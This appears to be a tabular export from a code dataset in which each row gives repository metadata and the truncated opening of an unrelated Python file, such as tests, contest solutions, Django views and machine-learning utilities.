max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
FEM/src/test/StatisticsTest.py | BartSiwek/Neurotransmitter2D | 0 | 12780051 | <filename>FEM/src/test/StatisticsTest.py<gh_stars>0
import unittest, math
import Pslg, ElementAwarePslg
import Statistics
class ParametersTest(unittest.TestCase):
def testComputeElementAngleRange(self):
#Angle of zero
a = Pslg.GridPoint(0,0)
b = Pslg.GridPoint(1,0)
c = Pslg.GridPoin... | 2.984375 | 3 |
Round 1B/fair-fight2.py | enigma-pattern/GoogleCodeJam-2019 | 54 | 12780052 | # Copyright (c) 2019 kamyu. All rights reserved.
#
# Google Code Jam 2019 Round 1B - Problem C. Fair Fight
# https://codingcompetitions.withgoogle.com/codejam/round/0000000000051706/0000000000122838
#
# Time: O(NlogN), pass in PyPy2 but Python2
# Space: O(NlogN)
#
import collections
import itertools
class RangeQuery... | 2.59375 | 3 |
kmeans/performance.py | numberoverzero/kmeans | 21 | 12780053 | """
Utils for generating random data and comparing performance
"""
import os
import time
import pickle
import random
from kmeans import kmeans, here
here = here(__file__)
try:
range = xrange
except NameError:
pass
def timer():
start = time.clock()
return lambda: time.clock() - start
def random_poin... | 3.15625 | 3 |
dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/dn_20020325.py | aleasims/Peach | 0 | 12780054 | # Examples from the article "Two-stage recursive algorithms in XSLT"
# By <NAME> and <NAME>
# http://www.topxml.com/xsl/articles/recurse/
from Xml.Xslt import test_harness
BOOKS = """ <book>
<title>Angela's Ashes</title>
<author><NAME></author>
<publisher>HarperCollins</publisher>
<isbn>0 00... | 3.453125 | 3 |
tests/test_soft_and_hard_deletes.py | Bilonan/django-binder | 14 | 12780055 | <reponame>Bilonan/django-binder
from django.test import TestCase, Client
from django.contrib.auth.models import User
from binder.json import jsonloads
from .testapp.models import Animal, Costume, Caretaker
class DeleteTest(TestCase):
def setUp(self):
super().setUp()
u = User(username='testuser', is_active=True,... | 2.28125 | 2 |
pyluna-pathology/tests/luna/pathology/cli/test_infer_tile_labels.py | msk-mind/luna | 1 | 12780056 | from click.testing import CliRunner
from luna.pathology.cli.infer_tile_labels import cli
def test_cli(tmp_path):
runner = CliRunner()
result = runner.invoke(cli, [
'pyluna-pathology/tests/luna/pathology/cli/testdata/data/test/slides/123/test_generate_tile_ov_labels/TileImages/data/',
... | 2 | 2 |
utils/symbiflow/scripts/flatten_layout.py | QuickLogic-Corp/qlfpga-symbiflow-plugins | 0 | 12780057 | <gh_stars>0
#!/usr/bin/env python3
"""
This script loads VPR architecture definition and flattens all layouts defined
there so that they only consist of <single> tags. Tiles of the flattened
layouts can have individual metadata (FASM prefixes) assigned.
The FASM prefix pattern is provided with the --fasm_prefix parame... | 2.71875 | 3 |
db/fdependency.py | ContentsViewer/Python-stdlib | 0 | 12780058 | <gh_stars>0
class FDependency:
"""
Function dependecy class
Example:
fd1 = FDependency(['A','B'],['C'])
fd2 = FDependency(['B'],['D'])
fd3 = FDependency(['A','B','E'],['C','D'])
fd4 = FDependency(['C','D'],['E'])
fd5 = FDependency(['C','E'],['A'])
"""
def __init__... | 3.28125 | 3 |
UserAuthentication/starter_code_4_views/src/core/forms.py | johangenis/intermediate-django-concepts | 0 | 12780059 | <filename>UserAuthentication/starter_code_4_views/src/core/forms.py
from django import forms
# from django.conf import settings
from django.contrib.auth import get_user_model
# settings.AUTH_USER_MODEL
User = get_user_model()
class UserRegisterForm(forms.ModelForm):
class Meta:
model = User
fiel... | 1.765625 | 2 |
src/microsoft_graph/base.py | KaiWalter/family-board-py | 0 | 12780060 | import logging
import requests
from injector import inject
import app_config
from microsoft_graph import MicrosoftGraphAuthentication
class MicrosoftGraph:
@inject
def __init__(self, authentication_handler: MicrosoftGraphAuthentication):
self.authentication_handler = authentication_handler
d... | 2.484375 | 2 |
main.py | sammysamau/remoteclassroom | 3 | 12780061 | <gh_stars>1-10
import os
import cgi
import uuid
from google.appengine.ext import ndb
from flask import Flask, render_template, redirect, session, request, make_response, url_for
from datetime import datetime, timedelta
import json
import logging
from common import app, p, getStudents, getMeetings, getStudent, pusher_k... | 2.125 | 2 |
generic_links/templatetags/generic_links_tags.py | johnbaldwin/django-generic-links | 8 | 12780062 | <reponame>johnbaldwin/django-generic-links
# -*- coding: utf-8 -*-
"""
Several usefull template tags!
"""
from django import template
from generic_links import utils
register = template.Library()
class RelatedLinksNode(template.Node):
def __init__(self, context_var, obj, is_external):
self.context_var... | 2.265625 | 2 |
python/searching/interpolation.py | nikitanamdev/AlgoBook | 191 | 12780063 | <gh_stars>100-1000
#Interpolation search is an improved version of binary search.
#Its time complexity is O(log(log n)) as compared to log(n) of binary search.
#following is the code of interpolation search:
# Python program to implement interpolation search
#Variable naming:
"""
1) lys - our input array
2) val - the... | 3.75 | 4 |
jft.py | isimluk/jft | 0 | 12780064 | <filename>jft.py
#!/bin/python3
from jft import connect
conn = connect()
print(conn)
| 1.601563 | 2 |
bluebottle/follow/admin.py | terrameijar/bluebottle | 10 | 12780065 | <gh_stars>1-10
from django.contrib.contenttypes.admin import GenericTabularInline
from bluebottle.follow.models import Follow
class FollowAdminInline(GenericTabularInline):
model = Follow
ct_fk_field = "instance_id"
readonly_fields = ['created', 'user']
fields = readonly_fields
extra = 0
can_... | 1.679688 | 2 |
src/connectivity/overnet/lib/stats/link.py | bootingman/fuchsia2 | 1 | 12780066 | <gh_stars>1-10
#!/usr/bin/env python
# Copyright 2019 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import statsc
statsc.compile(
name='Link',
include='src/connectivity/overnet/lib/stats/link.h',
stats = [
... | 1.390625 | 1 |
semantic_aware_models/models/recommendation/random_recommender.py | ITAINNOVA/SAME | 0 | 12780067 | from semantic_aware_models.models.recommendation.abstract_recommender import AbstractRecommender
from semantic_aware_models.dataset.movielens.movielens_data_model import *
from surprise import NormalPredictor
from surprise.reader import Reader
from surprise.dataset import Dataset
import time
class RandomRecommender(... | 2.859375 | 3 |
pytorch/MP_module_hard_soft.py | zwxu064/MPLayers | 10 | 12780068 | import torch, sys
import torch.nn as nn
sys.path.append('..')
from MPLayers.lib_stereo import TRWP_hard_soft as TRWP_stereo
from MPLayers.lib_seg import TRWP_hard_soft as TRWP_seg
from utils.label_context import create_label_context
# references:
# http://www.benjack.io/2017/06/12/python-cpp-tests.html
# https://pytor... | 2.1875 | 2 |
read_file_names.py | rajatagarwal/Filtered_Copy_Paste | 0 | 12780069 | <reponame>rajatagarwal/Filtered_Copy_Paste
from os import walk
from shutil import copyfile
# To get list of files names in the "text" file
f = []
external_disk_path = '/Volumes/My Passport/XXXX'
for (dir_path, dir_names, file_names) in walk(external_disk_path):
f.extend(file_names)
break
print("File names to be cop... | 3.734375 | 4 |
2021/15/sol.py | tjacquemin-ledger/aoc | 0 | 12780070 | <reponame>tjacquemin-ledger/aoc<filename>2021/15/sol.py
input = open('input', 'r').read().strip()
input = [list(map(int, r)) for r in input.splitlines()]
def neighbours(x, y, h, w):
return {(p, q) for u, v in ((1, 0), (0, -1), (-1, 0), (0, 1))
if 0 <= (p := x+u) < h and 0 <= (q := y+v) < w}
def p1()... | 2.546875 | 3 |
costar_models/python/costar_models/pretrain_image.py | cpaxton/costar_plan | 66 | 12780071 | from __future__ import print_function
import keras.backend as K
import keras.losses as losses
import keras.optimizers as optimizers
import numpy as np
from keras.callbacks import ModelCheckpoint
from keras.layers.advanced_activations import LeakyReLU
from keras.layers import Input, RepeatVector, Reshape
from keras.la... | 2.375 | 2 |
backend/clubs/filters.py | pennlabs/penn-clubs | 23 | 12780072 | import random
from collections import OrderedDict
from urllib.parse import quote
from rest_framework import filters
from rest_framework.pagination import PageNumberPagination
from rest_framework.response import Response
DEFAULT_PAGE_SIZE = 15
DEFAULT_SEED = 1234
class OptionalPageNumberPagination(PageNumberPaginat... | 3.0625 | 3 |
assignements/test_S3.py | YoanRouleau/BachelorDIM-Lectures-Algorithms-2020 | 0 | 12780073 | <filename>assignements/test_S3.py
import S3_imgproc_tools as tobetested
import pytest
import numpy as np
def test_invert_color_numpy_tuNone():
with pytest.raises(ValueError):
tobetested.invert_color_numpy(None)
def test_invert_color_numpy_tuArray():
with pytest.raises(TypeError):
tobetested.in... | 2.1875 | 2 |
tests/test_undos/test_coreutils/test_mv.py | joshmeranda/undo | 0 | 12780074 | <gh_stars>0
import os
import shutil
import unittest
import undo.resolve as resolve
import undo.expand as expand
import tests.test_undos.test_coreutils.common as common
class TestMv(unittest.TestCase):
@classmethod
def setUpClass(cls) -> None:
if os.path.exists(common.COREUTILS_TEST_ENV_DIR):
... | 2.265625 | 2 |
ZathuraProject/__init__.py | ibtehaz-shawon/LoggerProject | 1 | 12780075 | import inspect
import os
import sys
import time
from datetime import datetime
from uuid import uuid4
import pkg_resources
import pyfiglet
from ZathuraProject.bugtracker import (send_data_to_bugtracker,
send_verbose_log_to_bugtracker)
CURRENT_VERSION = "v0.0.6 beta"
def create... | 2.375 | 2 |
tests/unit/test_util.py | galsuchetzky/PytorchTemplate | 1 | 12780076 | <filename>tests/unit/test_util.py
import unittest
"""
TODO testing:
1)
"""
class TestClassName(unittest.TestCase):
def test_(self):
self.assertIsNotNone(None)
if __name__ == '__main__':
unittest.main()
| 2.546875 | 3 |
part3/webapp/final/pypi_web_mongodb_f/pypi_web_mongodb/services/user_service.py | israelrico007/build-pypi-mongodb-webcast-series | 25 | 12780077 | from typing import Optional
from passlib.handlers.sha2_crypt import sha512_crypt
from pypi_web_mongodb.data.users import User
def user_count() -> int:
return User.objects().count()
def user_by_id(user_id) -> Optional[User]:
return User.objects().filter(id=user_id).first()
def user_by_email(email: str) ->... | 2.6875 | 3 |
CoAttention_utils.py | abhishekyana/VQA | 2 | 12780078 | import torch
import numpy as np
import pickle
def filterit(s,W2ID):
s=s.lower()
S=''
for c in s:
if c in ' abcdefghijklmnopqrstuvwxyz0123456789':
S+=c
S = " ".join([x if x and x in W2ID else "<unk>" for x in S.split()])
return S
def Sentence2Embeddings(sentence,W2ID,EMB):
if... | 2.4375 | 2 |
test/test_mod_group.py | dvkruchinin/python_tr | 0 | 12780079 | #!/usr/bin/env python
# coding:utf-8
"""
Name : test_mod_group.py
Author : <NAME>
Date : 6/21/2021
Desc:
"""
from model.group import Group
from random import randrange
def test_modification_some_group(app, db, check_ui):
if len(db.get_group_list()) == 0:
app.group.create(Group(name="test"))
... | 2.484375 | 2 |
single_eval.py | wbj0110/cnn-text-classification-tf-chinese | 0 | 12780080 | #! /usr/bin/env python
import tensorflow as tf
import numpy as np
import os
import data_helpers
import csv
import pickle
import data_helpers as dp
import json
# Parameters
# ==================================================
# Data Parameters
tf.flags.DEFINE_string("positive_data_file", "./data/rt-polaritydata/rt-po... | 2.140625 | 2 |
custom_components/citymind_water_meter/managers/configuration_manager.py | elad-bar/citymind_water_meter | 17 | 12780081 | from typing import Optional
from homeassistant.config_entries import ConfigEntry
from ..helpers.const import (
CONF_LOG_LEVEL,
CONF_PASSWORD,
CONF_USERNAME,
LOG_LEVEL_DEFAULT,
)
from ..models.config_data import ConfigData
from .password_manager import PasswordManager
class ConfigManager:
data: C... | 2.359375 | 2 |
test/test.py | casonadams/nvim-colors | 0 | 12780082 | <reponame>casonadams/nvim-colors<gh_stars>0
@decorator(param=1)
def f(x):
"""
Syntax Highlighting Demo
@param x Parameter
Semantic highlighting:
Generated spectrum to pick colors for local variables and parameters:
Color#1 SC1.1 SC1.2 SC1.3 SC1.4 Color#2 SC2.1 SC2.2 SC2.3 SC2.4 Color#3
Co... | 2.828125 | 3 |
variant_remapping_tools/merge_yaml.py | diegomscoelho/variant-remapping | 3 | 12780083 | #! /usr/bin/env python3
import argparse
import yaml
def merge_two_dict(d1, d2):
result = {}
for key in set(d1) | set(d2):
if isinstance(d1.get(key), dict) or isinstance(d2.get(key), dict):
result[key] = merge_two_dict(d1.get(key, dict()), d2.get(key, dict()))
else:
res... | 3.078125 | 3 |
exceRNApipeline/tasks/task_count_exogenous_taxa.py | zhuchcn/exceRNAseq | 1 | 12780084 | <reponame>zhuchcn/exceRNAseq
from _exceRNApipeline_taxaCounter import taxaCounter
from exceRNApipeline.includes.utils import logger
import os
import argparse
from snakemake.shell import shell
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--input-file", type=str)
parser.ad... | 2.75 | 3 |
family/inheritance.py | jadry92/Python-course-platzi | 0 | 12780085 | <filename>family/inheritance.py
class Parent():
def __init__(self, last_name, eye_color):
print("Parent constructor called")
self.last_name = last_name
self.eye_color = eye_color
def show_info(self):
print("Last Name -"+self.last_name)
print("Eyes Color -"+self.eye_color)... | 3.8125 | 4 |
Drake-Z/0015/0015.py | saurabh896/python-1 | 3,976 | 12780086 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''第 0015 题: 纯文本文件 city.txt为城市信息, 里面的内容(包括花括号)如下所示:
{
"1" : "上海",
"2" : "北京",
"3" : "成都"
}
请将上述内容写到 city.xls 文件中。'''
__author__ = 'Drake-Z'
import json
from collections import OrderedDict
from openpyxl import Workbook
def txt_to_xlsx(filename):
file = o... | 3.296875 | 3 |
jax/img_arap.py | BachiLi/autodiff_comp | 2 | 12780087 | import jax
import jax.numpy as np
import time
import skimage.io
num_iter = 10
key = jax.random.PRNGKey(1234)
Mask = np.array(skimage.io.imread('../data/Mask0.png')) > 0
Mask = np.reshape(Mask, [Mask.shape[0], Mask.shape[1], 1])
Offsets = jax.random.uniform(key, shape=[Mask.shape[0], Mask.shape[1], 2], dtype=np.float3... | 1.875 | 2 |
gewittergefahr/gg_utils/unzipping.py | dopplerchase/GewitterGefahr | 26 | 12780088 | """Methods for unzipping files."""
import os
from gewittergefahr.gg_utils import file_system_utils
from gewittergefahr.gg_utils import error_checking
def unzip_tar(tar_file_name, target_directory_name=None,
file_and_dir_names_to_unzip=None):
"""Unzips tar file.
:param tar_file_name: Path to in... | 3.140625 | 3 |
terbilang.py | saih02/terbilang | 1 | 12780089 | <reponame>saih02/terbilang<gh_stars>1-10
def hasil(num):
huruf = ['nol', 'satu', 'dua', 'tiga', 'empat', 'lima', 'enam', 'tujuh', 'delapan', 'sembilan', 'sepuluh', 'sebelas']
if num < 12:
temp = ' '+huruf[num]
elif num < 20:
temp = str(hasil(num-10))+' belas'
elif num < 100:
... | 3.40625 | 3 |
author/views.py | IanSeng/CMPUT404_PROJECT | 0 | 12780090 | from rest_framework import generics, authentication, permissions
from rest_framework.authtoken.views import ObtainAuthToken
from rest_framework.exceptions import ValidationError, AuthenticationFailed
from rest_framework.authtoken.models import Token
from rest_framework.response import Response
from rest_framework impor... | 2.140625 | 2 |
src/web/pager.py | dzca/net-audit | 0 | 12780091 | <gh_stars>0
#!/usr/bin/python
class Pager:
def __init__(self, size, count, page):
self.size = size
self.count = count
self.pages = self._init_pages()
self.page = page
def _init_pages(self):
pages = self.count/self.size
mod_of_pages = self.count%self.size... | 3.53125 | 4 |
100-Exercicios/ex017.py | thedennerdev/ExerciciosPython-Iniciante | 0 | 12780092 | #Faça um programa que leia o comprimento do cateto oposto e do cateto adjacente de um triângulo retângulo.
#Calcule e mostre o comprimento da hipotenusa.
"""co = float(input('Valor cateto oposto: '))
ca = float(input('valor cateto adjacente: '))
hi = (co ** 2 + ca ** 2) ** (1/2)
print('O valor da hipotenusa é {:.2f}'.... | 4.03125 | 4 |
two_thinning/average_based/RL/basic_neuralnet_RL/train.py | varikakasandor/dissertation-balls-into-bins | 0 | 12780093 | import numpy as np
import torch
import torch.nn as nn
from two_thinning.average_based.RL.basic_neuralnet_RL.neural_network import AverageTwoThinningNet
n = 10
m = n
epsilon = 0.1
train_episodes = 3000
eval_runs = 300
patience = 20
print_progress = True
print_behaviour = False
def reward(x):
return -np.max(x)
... | 2.859375 | 3 |
echopype/tests/test_2in1_ek80_convert.py | Chuck-A/echopype | 0 | 12780094 | from pathlib import Path
from echopype.convert import Convert
def test_2in1_ek80_conversion():
file = Path("./echopype/test_data/ek80/Green2.Survey2.FM.short.slow.-D20191004-T211557.raw").resolve()
nc_path = file.parent.joinpath(file.stem+".nc")
tmp = Convert(str(file), model="EK80")
tmp.raw2nc()
... | 2.375 | 2 |
exercises/0389-FindTheDifference/find_the_difference_test.py | tqa236/leetcode-solutions | 1 | 12780095 | import random
import string
import unittest
from find_the_difference import Solution
from hypothesis import given
from hypothesis.strategies import text
class Test(unittest.TestCase):
def test_1(self):
solution = Solution()
self.assertEqual(solution.findTheDifference("abcd", "abcde"), "e")
@... | 3.5625 | 4 |
src/load_data.py | agalbachicar/swing_for_the_fences | 0 | 12780096 | import os
import logging
import json
import pandas as pd
def data_paths_from_periodicity(periodicity):
if periodicity == 'hourly':
return ['../datasets/bitstamp_data_hourly.csv']
elif periodicity == 'daily':
return ['../datasets/bitstamp_data_daily.csv']
return ['../datasets/bitstamp_data.... | 2.828125 | 3 |
code/tests/unit/api/test_enrich.py | CiscoSecurity/tr-05-serverless-alienvault-otx | 1 | 12780097 | from http import HTTPStatus
from random import sample
from unittest import mock
from urllib.parse import quote
from pytest import fixture
import jwt
from api.mappings import Sighting, Indicator, Relationship
from .utils import headers
def implemented_routes():
yield '/observe/observables'
yield '/refer/obse... | 2.34375 | 2 |
typeclasses/disguises/disguises.py | sgsabbage/arxcode | 42 | 12780098 | <gh_stars>10-100
"""
Disguises and Masks
"""
from typeclasses.wearable.wearable import Wearable, EquipError
from typeclasses.consumable.consumable import Consumable
from world.crafting.craft_data_handlers import MaskDataHandler
from evennia.utils.logger import log_file
class Mask(Wearable):
"""
Wearable mask ... | 2.625 | 3 |
pysparktestingexample/tests/test_udf_dict_arg.py | zhangabner/pyspark-debug-test | 0 | 12780099 | <filename>pysparktestingexample/tests/test_udf_dict_arg.py
import pytest
import pyspark.sql.functions as F
from pyspark.sql.types import *
# @F.udf(returnType=StringType())
# def state_abbreviation(s, mapping):
# if s is not None:
# return mapping[s]
# def test_udf_dict_failure(spark):
# df = spark.... | 2.5 | 2 |
create_art_cluster_DAO.py | tbitsakis/astro_projects | 2 | 12780100 | <filename>create_art_cluster_DAO.py
#! /usr/bin/python
'''
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
PURPOSE:
The code creates artificial clusters from the theoretical isochrones of Bruzual&Charlot and
then saves a table that will be used as an input for D... | 3.09375 | 3 |
output/models/ms_data/particles/particles_ec020_xsd/__init__.py | tefra/xsdata-w3c-tests | 1 | 12780101 | from output.models.ms_data.particles.particles_ec020_xsd.particles_ec020 import Doc
__all__ = [
"Doc",
]
| 0.996094 | 1 |
veles/ocl_blas.py | AkshayJainG/veles | 1,007 | 12780102 | # -*- coding: utf-8 -*-
"""
.. invisible:
_ _ _____ _ _____ _____
| | | | ___| | | ___/ ___|
| | | | |__ | | | |__ \ `--.
| | | | __|| | | __| `--. \
\ \_/ / |___| |___| |___/\__/ /
\___/\____/\_____|____/\____/
Created on Apr 13, 2015
BLAS class to use with ocl backend.
██... | 1.734375 | 2 |
prez/models/spaceprez/spaceprez_feature_collection_list.py | surroundaustralia/Prez | 2 | 12780103 | from typing import List
class SpacePrezFeatureCollectionList(object):
def __init__(self, sparql_response: List) -> None:
self.dataset = {
"id": None,
"title": None
}
self.members = []
for result in sparql_response:
if self.dataset["id"] is None:
... | 2.546875 | 3 |
agent/consul_api.py | Suremaker/consul-deployment-agent | 6 | 12780104 | # Copyright (c) Trainline Limited, 2016-2017. All rights reserved. See LICENSE.txt in the project root for license information.
import base64, json, logging, requests
from retrying import retry
class ConsulError(RuntimeError):
pass
def handle_connection_error(func):
def handle_error(*args, **kwargs):
... | 1.96875 | 2 |
others/tcptest/tcpconnector.py | 1067511899/tornado-learn | 1 | 12780105 | import argparse, socket
from time import sleep, time, localtime, strftime
import time
import logging
import sys
import trace
fhand = logging.FileHandler('new20180321.log', mode='a', encoding='GBK')
logging.basicConfig(level=logging.DEBUG, # 控制台打印的日志级别
handlers=[fhand],
format=... | 2.375 | 2 |
Inprocessing/Thomas/Python/baselines/POEM/DatasetReader.py | maliha93/Fairness-Analysis-Code | 9 | 12780106 | <reponame>maliha93/Fairness-Analysis-Code<gh_stars>1-10
import numpy
import os.path
import scipy.sparse
import sklearn.datasets
import sklearn.decomposition
import sklearn.preprocessing
import sys
class DatasetReader:
def __init__(self, copy_dataset, verbose):
self.verbose = verbose
if copy_datas... | 2.5 | 2 |
codigo_das_aulas/aula_17/exemplo_09.py | VeirichR/curso-python-selenium | 234 | 12780107 | <gh_stars>100-1000
from selene.support.shared import browser
from selene.support.conditions import be
from selene.support.conditions import have
browser.open('http://google.com')
browser.element(
'input[name="q"]'
).should(be.blank).type('Envydust').press_enter()
| 2.078125 | 2 |
test-unit/PythonToJavascript/converters_test/DecoratorConverter_test.py | stoogoff/python-to-javascript | 1 | 12780108 | from utils import parseSource, nodesToString, nodesToLines, dumpNodes, dumpTree
from converters import DecoratorConverter
def test_DecoratorGather_01():
src = """
@require_call_auth( "view" )
def bim():
pass
"""
matches = DecoratorConverter().gather( parseSource( src ) )
mat... | 2.625 | 3 |
tests/test_pycuda.py | karthik20122001/docker-python | 2,030 | 12780109 | <gh_stars>1000+
"""Tests for general GPU support"""
import unittest
from common import gpu_test
class TestPycuda(unittest.TestCase):
@gpu_test
def test_pycuda(self):
import pycuda.driver
pycuda.driver.init()
gpu_name = pycuda.driver.Device(0).name()
self.assertNotEqua... | 2.640625 | 3 |
ode_explorer/utils/data_utils.py | njunge94/ode-explorer | 3 | 12780110 | <reponame>njunge94/ode-explorer
import os
import jax.numpy as jnp
from typing import List, Dict, Text, Any
from ode_explorer.types import State
__all__ = ["initialize_dim_names", "convert_to_dict", "write_result_to_csv"]
def initialize_dim_names(variable_names: List[Text], state: State):
"""
Initialize the ... | 3.03125 | 3 |
Connect4/minimax.py | iridia-ulb/AI-book | 2 | 12780111 | <reponame>iridia-ulb/AI-book
from bot import Bot
import copy
from common import MINIMAX, EMPTY, ROW_COUNT, COLUMN_COUNT, WINDOW_LENGTH
import random
import math
class MiniMax(Bot):
"""
This class is responsible for the Minimax algorithm.
At each depth, the algorithm will simulate up to 7 boards, each havi... | 3.859375 | 4 |
codCesarList.py | lorena112233/pythonDay1 | 0 | 12780112 | <reponame>lorena112233/pythonDay1
listAbecedario = [ "a","b","c","d","e","f","g","h","i","j","k","l","m","n","ñ","o","p","q","r","s","t","u","v","w","x","y","z" ]
desplazamiento = 60
respuesta = str(input("Que quieres traducir?: "))
textoCifrado = ""
for letra in respuesta:
if letra in listAbecedario:
po... | 3.671875 | 4 |
Core/Block_9/R9001_Factory.py | BernardoB95/Extrator_SPEDFiscal | 1 | 12780113 | <gh_stars>1-10
from Core.IFactory import IFactory
from Regs.Block_9 import R9001
class R9001Factory(IFactory):
def create_block_object(self, line):
self.r9001 = _r9001 = R9001()
_r9001.reg_list = line
return _r9001
| 1.945313 | 2 |
notebooks/parsebat.py | NickleDave/conbirt | 0 | 12780114 | <filename>notebooks/parsebat.py<gh_stars>0
import numpy as np
from scipy.io import loadmat
def parse_batlab_mat(mat_file):
"""parse batlab annotation.mat file"""
mat = loadmat(mat_file, squeeze_me=True)
annot_list = []
# annotation structure loads as a Python dictionary with two keys
# one maps to... | 2.953125 | 3 |
web/JPS_EMISSIONS/python/latest/powerplant_sparql_sync.py | mdhillmancmcl/TheWorldAvatar-CMCL-Fork | 21 | 12780115 | <filename>web/JPS_EMISSIONS/python/latest/powerplant_sparql_sync.py
import rdflib
import re
from datetime import datetime
class PowerplantSPARQLSync:
def __init__(self, powerplant):
self.powerplantIRI = powerplant
self.graph = rdflib.Graph()
self.graph.parse(self.powerplantIRI)
# ... | 2.453125 | 2 |
quotesbot/spiders/autotalli.py | Martynasvov/testinisprojektas2 | 0 | 12780116 | # -*- coding: utf-8 -*-
import scrapy
class AutotalliSpider(scrapy.Spider):
name = "autotalli"
allowed_domains = ["autotalli.com"]
current_page = 1
start_url = 'https://www.autotalli.com/vaihtoautot/listaa/sivu/{}'
start_urls = [start_url.format(1)]
def parse(self, response):
skelbimu... | 2.734375 | 3 |
tests/test_metrics.py | mlrun/metrics-gen | 0 | 12780117 | <gh_stars>0
from metrics_gen.deployment_generator import deployment_generator
from metrics_gen.metrics_generator import Generator_df
import pandas as pd
import yaml
def get_deployment(configuration: dict) -> pd.DataFrame:
dep_gen = deployment_generator()
deployment = dep_gen.generate_deployment(configuration=... | 2.3125 | 2 |
mobilebdd/reports/jsonifier.py | PhoenixWright/MobileBDDCore | 0 | 12780118 | import json
from mobilebdd.reports.base import BaseReporter
class JsonReporter(BaseReporter):
"""
outputs the test run results in the form of a json
one example use case is to plug this into a bdd api that returns the results
in json format.
"""
def __init__(self, config):
super(Jso... | 2.71875 | 3 |
pymatgen/io/cube.py | Crivella/pymatgen | 921 | 12780119 | <gh_stars>100-1000
"""
Module for reading Gaussian cube files, which have become one of the standard file formats
for volumetric data in quantum chemistry and solid state physics software packages
(VASP being an exception).
Some basic info about cube files
(abridged info from http://paulbourke.net/dataformats/cube/ by... | 2.59375 | 3 |
faker_biology/physiology/organs_data.py | richarda23/faker-biology | 7 | 12780120 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Feb 13 10:20:19 2022
@author: richard
"""
organ_data = {
"Musculoskeletal system": {
"Human skeleton": {},
"Joints": {},
"Ligaments": {},
"Muscular system": {},
"Tendons": {},
},
"Digestive system": ... | 1.773438 | 2 |
app/utils.py | MilyMilo/hoodie | 3 | 12780121 | <filename>app/utils.py
import ipinfo as ipinfo_lib
import shodan as shodan_lib
from django.conf import settings
ipinfo = ipinfo_lib.getHandler(settings.IPINFO_TOKEN)
shodan = shodan_lib.Shodan(settings.SHODAN_TOKEN)
def get_ip_data(ip_address):
data = ipinfo.getDetails(ip_address)
return data.all
def get_... | 2.171875 | 2 |
src/pretix/base/views/csp.py | pajowu/pretix | 1 | 12780122 | import json
import logging
from django.http import HttpResponse, HttpResponseBadRequest
from django.views.decorators.csrf import csrf_exempt
logger = logging.getLogger('pretix.security.csp')
@csrf_exempt
def csp_report(request):
try:
body = json.loads(request.body.decode())
logger.warning(
... | 2.203125 | 2 |
upper method.py | aash-gates/aash-python-babysteps | 7 | 12780123 | <reponame>aash-gates/aash-python-babysteps
#coverting the string to upper case IBM Digital Nation
string = "Aashik Socially known as aash Gates"
print(string)
import time
time.sleep(0.33)
print("converting the string to upper case")
import time
time.sleep(1.00)
new_string = string.upper()
print(new_string)
#end o... | 3.6875 | 4 |
ctf/migrations/0003_auto_20171220_1132.py | scnerd/pythonathon_v3 | 0 | 12780124 | # Generated by Django 2.0 on 2017-12-20 16:32
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('ctf', '0002_auto_20171220_1128'),
]
operations = [
migrations.AlterField(
model_name='category',
... | 1.6875 | 2 |
networking_mlnx_baremetal/plugins/ml2/mech_ib_baremetal.py | IamFive/networking-mlnx-baremetal | 0 | 12780125 | # Copyright 2020 HuaWei Technologies. All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... | 1.5 | 2 |
output/models/nist_data/list_pkg/unsigned_byte/schema_instance/nistschema_sv_iv_list_unsigned_byte_enumeration_2_xsd/__init__.py | tefra/xsdata-w3c-tests | 1 | 12780126 | <filename>output/models/nist_data/list_pkg/unsigned_byte/schema_instance/nistschema_sv_iv_list_unsigned_byte_enumeration_2_xsd/__init__.py
from output.models.nist_data.list_pkg.unsigned_byte.schema_instance.nistschema_sv_iv_list_unsigned_byte_enumeration_2_xsd.nistschema_sv_iv_list_unsigned_byte_enumeration_2 import (
... | 1.117188 | 1 |
src/lipkin/hf.py | kim-jane/NuclearManyBody | 0 | 12780127 | import numpy as np
from lipkin.model import LipkinModel
class HartreeFock(LipkinModel):
name = 'Hartree-Fock'
def __init__(self, epsilon, V, Omega):
if Omega%2 == 1:
raise ValueError('This HF implementation assumes N = Omega = even.')
LipkinModel.__init__(self, e... | 2.703125 | 3 |
neutron/restproxy/util/cipherutil.py | wxjinyq01/esdk_neutron_ac | 0 | 12780128 | <filename>neutron/restproxy/util/cipherutil.py<gh_stars>0
# coding:utf-8
# import urllib
from Crypto.Cipher import AES
def rsaEncrypt(text, key):
pass
def aesEncrypt(text):
key = '<KEY>'
cryptor = AES.new(key, AES.MODE_CBC, '0123456789123456')
length = 16
count = text.count('')
if count < ... | 2.953125 | 3 |
cuda_cffi/info.py | grlee77/python-cuda-cffi | 13 | 12780129 | <reponame>grlee77/python-cuda-cffi
#!/usr/bin/env python
"""
cuda_cffi
=========
cuda_cffi provides python interfaces to a subset of functions defined in the
cuSPARSE and cuSOLVER libraries distributed as part of NVIDIA's CUDA
Programming Toolkit [1]. It is meant to complement the existing scikits.cuda
package [2] wh... | 1.710938 | 2 |
cohesity_management_sdk/models/virtual_disk_mapping_response.py | nick6655/management-sdk-python | 18 | 12780130 | <reponame>nick6655/management-sdk-python
# -*- coding: utf-8 -*-
# Copyright 2021 Cohesity Inc.
import cohesity_management_sdk.models.virtual_disk_id_information
import cohesity_management_sdk.models.protection_source
class VirtualDiskMappingResponse(object):
"""Implementation of the 'VirtualDiskMappingResponse'... | 2.765625 | 3 |
lossfunction.py | ChristophReich1996/DeepFoveaPP_for_Video_Reconstruction_and_Super_Resolution | 3 | 12780131 | from typing import List, Tuple
import torch
import torch.nn as nn
import torch.nn.functional as F
import robust_loss_pytorch
